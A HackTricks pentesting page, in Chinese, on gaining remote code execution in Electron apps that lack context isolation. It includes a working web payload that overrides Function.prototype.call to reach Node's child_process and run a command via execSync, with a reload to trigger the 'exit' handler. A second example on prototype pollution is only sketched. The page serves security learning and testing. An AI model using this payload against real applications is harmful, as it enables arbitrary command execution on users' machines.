hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

1.9 KiB
Raw Blame History

Electron contextIsolation RCE via Electron internal code

{{#include ../../../banners/hacktricks-training.md}}

示例 1

来自 https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" 事件监听器在页面加载开始时始终由内部代码设置。此事件在导航之前发出:

process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

{{#ref}} 664c184fcb/lib/common/asar.js (L30-L36) {{#endref}}

8a44289089/bin/events.js (L156-L231) -- 不再存在

然后它到这里:

其中 "self" 是 Node 的进程对象:

进程对象有对 "require" 函数的引用:

process.mainModule.require

由于handler.call将接收process对象我们可以覆盖它以执行任意代码

<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>

示例 2

获取 来自原型污染的 require 对象。来自 https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

泄漏:

利用:

{{#include ../../../banners/hacktricks-training.md}}